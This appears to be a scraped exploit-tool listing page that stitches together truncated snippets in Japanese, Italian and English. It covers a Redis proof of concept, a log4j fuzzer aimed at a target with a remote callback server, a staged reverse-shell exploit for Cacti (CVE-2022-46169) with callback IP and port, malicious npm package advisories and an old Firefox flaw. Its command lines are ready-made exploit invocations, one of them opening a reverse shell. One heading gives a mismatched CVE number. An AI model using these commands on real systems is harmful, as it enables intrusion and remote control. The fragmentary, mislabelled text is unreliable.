poc-redis

エクスプロイトを実行するには、添付のZIPを解凍し、Linux上で以下の手順に従ってください： 1. virtualenvをセットアップし、Redisクライアントをインストールします root@kitploit: $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. 別のターミナルで、Redisのdockerイメージを実行します またはソースからビルドして、サポートされているプラットフォームで実行します このエクスプロイトはFedora 40/Ubuntu...

log4j-fuzzer

log4j-fuzzer 単一ターゲット向け root@kitploit: chmod +x log4j 上記のコマンド実行後、ターゲットを指定するだけです root@kitploit: ./log4j YOURTARGETURL YOURREMOTESERVER 複数ターゲット向け すべてのドメイン、サブドメイン、ディレクトリをリストにまとめる その後、以下のコマンドを実行します root@kitploit: chmod +x log4j リモートサーバーは https://github.com/projectdiscovery/interactsh で作成するか、DNSLOG.CN...

CVE-2022-46169

CVE-2022-41343 🐍 Exploit Python per CVE-2022-46169 Staged Reverse Shell per Cacti = 1.2.22 Esempio root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Utilizzo root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Indirizzo IP/Host di callback del...

Malicious code in twilio-platform-request (npm)

The twilio-platform-request package is a dependency-confusion squat of Twilio's npm namespace published by user 'yuva2210' maintainer email [email protected] at sentinel versions 99.99.99 and 99.99.100, chosen to outrank any internal/private version and win resolution against a private...

Malicious code in nativescript-swisspost-pcc-creative-editor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9c9ef8861d14485e696e98c66d95ee5c2a5a608b213841c9c18b254003ae049 Package masquerades as an internal Swiss Post NativeScript package name nativescript-swisspost-pcc-creative-editor, description literally Security Po...

security flaw

The InstallTrigger.install method in Firefox before 1.0.5 and Mozilla before 1.7.9 allows remote attackers to execute a callback function in the context of another domain by forcing a page navigation after the install method has been called, which causes the callback to be run in the context of t...